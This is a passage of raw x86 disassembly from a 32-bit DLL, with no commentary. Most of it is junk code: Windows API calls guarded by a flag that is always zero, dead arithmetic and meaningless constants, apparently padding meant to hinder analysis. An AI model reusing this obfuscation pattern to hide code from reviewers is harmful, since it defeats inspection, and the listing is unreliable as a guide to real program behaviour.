jmp 0x1000a8f8
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1140], 6
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x1000a8e7
mov dword [ebp - 0x28], 0x15
cmp dword [ebp - 0x28], 0x1b
je 0x1000a9c3
or edi, 0xffffffff
mov dword [ebp - 0x4c], edi
lea ecx, [ebp - 0x3f0]
push 4
call fcn.10026cbf
mov byte [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x4c], 0xa13b
mov dword [ebp - 0x38], eax
jmp 0x1000a944
push dword [ebp - 0x38]
call fcn.10026d2c
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
lea ecx, [ebp - 0x3f0]
jl 0x1000a933
mov eax, dword [ebp - 0x4c]
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x4c]
push ebx
call fcn.10026d2c
push 3
lea ecx, [ebp - 0x3f0]
call fcn.10026d2c
mov dword [ebp - 0x4c], ebx
lea ecx, [ebp - 0x3f0]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1140], eax
push 3
call fcn.10026d2c
push 3
lea ecx, [ebp - 0x3f0]
mov esi, eax
call fcn.10026d2c
mov ecx, dword [esi]
mov byte [ebp - 4], 0xa
mov dword [eax], ecx
lea ecx, [ebp - 0x3f0]
call fcn.10026d27
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1b
jne 0x1000a911
mov edi, dword [sym.imp.USER32.dll_CreatePopupMenu]
inc ebx
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x4c], 0x5425a80e
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xfffffff2
jmp 0x1000ab0b
mov dword [ebp - 0x14], 0x43cdf98a
mov dword [ebp - 0x28], 0xfffe
mov dword [ebp - 0x14], 0xffffffe3
jmp 0x1000aada
mov dword [ebp - 0x1c], 9
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1000aa07
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x24]
sub ecx, 0x9cd4
cmp ecx, eax
mov eax, 0xfff6
setg dl
cmp eax, edx
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
sub eax, dword [ebp - 0x24]
neg ecx
neg eax
sbb eax, eax
or edx, 0xffffffff
inc eax
cmp edx, eax
mov eax, dword [ebp - 0x14]
sbb edx, edx
neg edx
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x28]
jle 0x1000abd3
mov dword [ebp - 0x28], 0xffffffe8
cmp dword [ebp - 0x28], 0x38
je 0x1000aabb
push 0xfffffffffffffffb
pop eax
mov dword [ebp - 0x1c], 0xfffffffa
cmp dword [ebp - 0x1c], eax
jle 0x1000aab2
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x38], eax
jmp 0x1000aa86
cmp byte [ebp - 0xd], 0
je 0x1000aa83
call edi
xor eax, eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff9
mov byte [ebp - 0xd], al
jle 0x1000aa79
cmp byte [ebp - 0xd], 0
je 0x1000aaa5
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
xor eax, eax
inc dword [ebp - 0x1c]
push 0xfffffffffffffffb
pop ecx
cmp dword [ebp - 0x1c], ecx
jg 0x1000aa71
push ecx
pop eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x38
jne 0x1000aa63
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000aad7
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffa
jle 0x1000a9f3
mov dword [ebp - 0x14], 0x12
cmp dword [ebp - 0x14], 0xffffffe4
jle 0x1000ab08
xor eax, eax
mov dword [ebp - 0x30], 0xe62b5609
cmp dword [ebp - 0x30], eax
jne 0x1000ab08
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe4
jg 0x1000aaf3
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe2
jle 0x1000a9d9
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x498]
xor ebx, ebx
mov dword [ebp - 0x30], eax
push ebx
call fcn.10026d2c
push ebx
lea ecx, [ebp - 0x498]
inc dword [eax]
call fcn.10026d2c
push 1
pop ebx
cmp dword [eax], 0x1a
jg 0x1000a7c0
or eax, 0xffffffff
lea ecx, [ebp - 0x498]
mov dword [ebp - 4], eax
call fcn.10026d27
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x18
push 1
pop ebx
jl 0x1000a0ea
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 4
lea ecx, [ebp - 0x5dc]
call fcn.10026cbf
mov dword [ebp - 4], 0x12
or eax, 0xffffffff
mov dword [ebp - 0x14], 0x66fe7d8a
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1000abc2
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5dc]
call fcn.10026d2c
mov dword [eax], 6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000aba3
xor eax, eax
push 3
pop ecx
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
jl 0x1000acbf
jmp 0x1000abf5
xor eax, eax
mov dword [ebp - 0x30], 0x59ec
cmp dword [ebp - 0x24], eax
jne 0x1000aae4
cmp dword [ebp - 0x30], eax
jne 0x1000aad7
jmp 0x1000aabd
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], 0x314af12a
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000ac12
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0xfffffffffffffffb
pop eax
cmp dword [ebp - 0x14], eax
jg 0x1000ac3b
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5dc]
call fcn.10026d2c
mov eax, dword [eax]
neg eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5dc]
call fcn.10026d2c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5dc]
call fcn.10026d2c
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], 0xb81eca6c
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x14]
je 0x1000ac81
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1000acbf
mov eax, dword [ebp - 0x34]
jmp 0x1000acb6
xor eax, eax
mov dword [ebp - 0x30], 0xf06e85fc
cmp dword [ebp - 0x1c], eax
jne 0x1000acbf
push 3
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x1000acb1
mov dword [ebp - 0x44], 0x39d20578
mov dword [ebp - 0x34], eax
jmp 0x1000aca9
mov dword [ebp - 0x30], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jle 0x1000aca3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1000ac97
dec dword [ebp - 0x14]
jns 0x1000abf3
or eax, 0xffffffff
lea ecx, [ebp - 0x5dc]
mov dword [ebp - 4], eax
call fcn.10026d27
mov dword [ebp - 0x1c], 0x9b55bb2c
xor eax, eax
mov dword [ebp - 0x4c], 0x30498d20
or ecx, 0xffffffff
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x1c], eax
jmp 0x1000adec
mov dword [ebp - 0x14], 0x7689351f
mov dword [ebp - 0x54], 0xe72
mov dword [ebp - 0x30], 0x308faa83
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffffa
jne 0x1000ade9
mov dword [ebp - 0x30], 0xf2ef51ae
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000ad2a
call dword [sym.imp.USER32.dll_WaitMessage]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
neg ecx
push 0
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xe45d
setl al
xor edx, edx
cmp eax, 0x4aafbebf
mov eax, dword [ebp - 0x4c]
setg dl
add eax, dword [ebp - 0x1c]
imul edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
cmp ecx, eax
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setg cl
xor eax, eax
cmp ecx, 0x2c34ccbb
setle al
xor ecx, ecx
cmp eax, 0xdb370cc3
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
sub edx, 0xfffffff6
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 2
setle al
xor edx, edx
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
test eax, eax
mov eax, dword [ebp - 0x1c]
setns dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffa
je 0x1000ad14
or ecx, 0xffffffff
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jne 0x1000acf2
mov dword [ebp - 0x20], eax
push 0xfffffffffffffffa
pop ecx
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x190], ecx
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x188], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000ae2a
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
xor eax, eax
mov dword [ebp - 0x20], 0xffffffe2
jmp 0x1000ae3c
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x4c]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xe
jge 0x1000ae33
push 4
lea ecx, [ebp - 0x608]
call fcn.10026cbf
push 2
pop esi
push esi
lea ecx, [ebp - 0x86c]
mov dword [ebp - 4], 0x13
call fcn.10026cbf
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000ae94
push dword [ebp - 0x20]
lea ecx, [ebp - 0x86c]
call fcn.10026d2c
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000ae7a
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1000af0f
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000aebe
push 0x6b6
push 0x1671
push ebx
push eax
push 0x139e
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jg 0x1000af0c
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x86c]
call fcn.10026d2c
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x86c]
mov esi, eax
call fcn.10026d2c
mov ecx, dword [esi]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000af02
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x1000aec6
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1000ae99
lea ecx, [ebp - 0x86c]
mov byte [ebp - 4], 0x13
call fcn.10026d27
mov dword [ebp - 0x24], 0x66fe7d8a
xor eax, eax
mov dword [ebp - 0x1c], 0x91f782a1
mov edx, eax
mov dword [ebp - 0x2c], 0xfe4b2830
mov dword [ebp - 0x18], 0xe2e4ed
mov dword [ebp - 0x34], 0xfffffffd
cmp dword [ebp - 0x1c], eax
je 0x1000af51
mov edx, ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x2c]
dec ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp edx, ecx
setge al
add eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
je 0x1000afcf
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1000af90
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x14d0], 0x5732aa6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000af77
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jg 0x1000afc3
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x14d0], 0
jne 0x1000afc1
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000afb8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommState]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x1000af99
xor eax, eax
mov dword [ebp - 0x34], 0xfffffff3
jmp 0x1000b18a
xor eax, eax
mov dword [ebp - 0x28], 0xbe2d3d47
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000afec
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xb
jne 0x1000afc1
push 3
pop esi
mov dword [ebp - 0x4c], 0xae05
lea ecx, [ebp - 0xaf8]
mov dword [ebp - 0x3c], 0xc5adf851
push esi
call fcn.10026cbf
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xe70]
mov dword [ebp - 0x3c], 0xfffffff6
push esi
call fcn.10026cbf
mov byte [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x30], 0xd6b1f848
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000b05c
push dword [ebp - 0x14]
lea ecx, [ebp - 0xaf8]
call fcn.10026d2c
mov dword [eax], 0xa832397b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000b03e
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000b082
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe70]
call fcn.10026d2c
mov dword [eax], 0xae734f12
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000b064
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1000b0d3
mov ecx, dword [ebp - 0x4c]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setne dl
xor eax, eax
cmp edx, 0xfffffffe
setne al
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x28]
cmp eax, 0xffff
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x4592404e
setne al
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x1000b0d5
mov eax, ebx
xor edx, edx
cmp eax, 0x1c73b017
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x28]
jge 0x1000b0ff
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1000b101
mov eax, ebx
jmp 0x1000b101
xor eax, eax
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0xaf8]
push 2
imul esi, eax
pop eax
push eax
call fcn.10026d2c
xor edx, edx
mov dword [eax], esi
mov eax, dword [ebp - 0x1c]
cmp esi, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
cmp ecx, 0xb9b96406
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0xe70]
mov esi, dword [ebp - 0x3c]
push eax
call fcn.10026d2c
lea ecx, [ebp - 0xe70]
mov dword [eax], esi
mov dword [ebp - 0x30], esi
call fcn.10026d27
lea ecx, [ebp - 0xaf8]
mov byte [ebp - 4], 0x13
call fcn.10026d27
inc dword [ebp - 0x2c]
jmp 0x1000afef
mov dword [ebp - 0x30], 0xfddd0c6a
cmp dword [ebp - 0x30], eax
jne 0x1000b190
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff6
jne 0x1000b17b
push 2
pop esi
mov dword [ebp - 0x4c], 8
lea ecx, [ebp - 0xcd8]
mov dword [ebp - 0x34], eax
push esi
call fcn.10026cbf
xor eax, eax
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000b1d5
push dword [ebp - 0x20]
lea ecx, [ebp - 0xcd8]
call fcn.10026d2c
mov dword [eax], 0xbc40ed3c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000b1b7
xor eax, eax
mov dword [ebp - 0x34], esi
jmp 0x1000b271
mov dword [ebp - 0x4c], 0xec79
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b213
push 0x5cb
push 0x4d3
push 0x14f2
push 0x244a
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1000b233
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b26e
push 0x234f
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1000b26c
mov dword [ebp - 0x20], 0xa59c1763
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe4
je 0x1000b26e
mov dword [ebp - 0x4c], 0x31551da6
mov dword [ebp - 0x30], 0xa3c0bf90
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe4
jne 0x1000b243
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jle 0x1000b1dd
push ebx
lea ecx, [ebp - 0xcd8]
call fcn.10026d2c
mov ecx, dword [ebp - 0x34]
mov byte [ebp - 4], 0x13
mov dword [eax], ecx
lea ecx, [ebp - 0xcd8]
call fcn.10026d27
or eax, 0xffffffff
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x24], ebx
push 0xfffffffffffffffb
pop eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x54], 0xfffffff6
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000b2d6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x9f0], 0xbbeb927e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000b2be
xor eax, eax
or esi, 0xffffffff
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x1a
jg 0x1000b4e6
mov ecx, 0xffff
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x58], 0xc8520716
mov dword [ebp - 0x1c], 7
cmp dword [ebp - 0x1c], 0xfffffff5
jg 0x1000b4d9
mov dword [ebp - 0x2c], 0x87d0fa51
xor edx, edx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp eax, edx
setl cl
imul ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x9e88
setge al
cmp dword [ebp - 0x2c], eax
jge 0x1000b3e8
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1000b3ea
cmp dword [ebp - 0x1c], eax
je 0x1000b3ea
mov dword [ebp - 0x30], 0x1d68c2af
mov dword [ebp - 0x20], eax
jmp 0x1000b390
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1378], 0x3ed1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1000b37f
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
push 4
pop ecx
sub ecx, eax
mov eax, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x1374], edx
jne 0x1000b3ce
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1000b3d0
mov eax, ebx
neg eax
mov dword [ebp - 0x9f0], eax
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x1000b4d2
jmp 0x1000b4c5
xor eax, eax
mov dword [ebp - 0x60], 0xbb1b2b15
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b408
push 0x181d
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1000b4bb
mov dword [ebp - 0x28], 0x26f2c0e8
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x58]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x28]
jg 0x1000b456
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov ecx, 0xba832a49
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x44]
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x60]
neg eax
sbb eax, eax
inc eax
imul eax, eax, 0xffff
test eax, eax
je 0x1000b480
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
je 0x1000b48d
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000b4b8
push eax
push 0x153a
push 0x10a9
push 0xba
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x2c
je 0x1000b410
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff5
jle 0x1000b30f
xor eax, eax
mov ecx, 0xffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1a
jle 0x1000b2ee
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x40], 0xfffffff9
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1000b50f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x650], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1000b4fb
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1000b52b
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x650], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1000b517
xor eax, eax
mov dword [ebp - 0x34], ebx
push 5
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], 8
pop ecx
jmp 0x1000b580
cmp byte [ebp - 0xd], 0
je 0x1000b562
push 0x2213
push 0xeca
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 5
xor eax, eax
pop ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b57d
push eax
push 0x2065
push eax
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 5
xor eax, eax
pop ecx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
mov byte [ebp - 0xd], al
jne 0x1000b53d
cmp byte [ebp - 0xd], 0
je 0x1000b59e
push eax
push eax
push 0xc7d
push eax
call dword [sym.imp.USER32.dll_AppendMenuA]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1000b5c6
push dword [ebp - 0x20]
lea ecx, [ebp - 0x608]
call fcn.10026d2c
mov dword [eax], 6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000b5a7
xor eax, eax
mov dword [ebp - 0x14], ebx
push 5
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x40], 0xed5bb0c7
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1000b604
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x660], 0x92ea21e1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1000b5ec
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
je 0x1000b6ac
mov dword [ebp - 0x18], 0x44696a48
mov dword [ebp - 0x44], 0xfffb
mov dword [ebp - 0x3c], 0x71362395
mov dword [ebp - 0x4c], 0xfffffffe
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
je 0x1000b64f
cmp dword [ebp - 0x660], eax
je 0x1000b64f
mov eax, ebx
cmp dword [ebp - 0x18], eax
jne 0x1000b65b
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1000b65d
mov eax, ebx
cmp eax, dword [ebp - 0x14]
jg 0x1000b66b
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x44], eax
je 0x1000b66d
mov ecx, ebx
xor eax, eax
cmp ecx, 0xfffffffc
setge al
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000b69e
push eax
call dword [sym.imp.USER32.dll_DestroyMenu]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jne 0x1000b610
xor eax, eax
mov dword [ebp - 0x24], 3
cmp dword [ebp - 0x24], eax
jl 0x1000c3c8
push 4
lea ecx, [ebp - 0x92c]
call fcn.10026cbf
mov byte [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1000b6f4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6b0], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000b6db
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1000b710
push dword [ebp - 0x14]
lea ecx, [ebp - 0x92c]
call fcn.10026d2c
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1000b6f9
mov eax, dword [ebp - 0x6ac]
xor eax, eax
cmp dword [ebp - 0x6ac], eax
je 0x1000b748
mov eax, dword [ebp - 0x6a8]
mov eax, dword [ebp - 0x6b0]
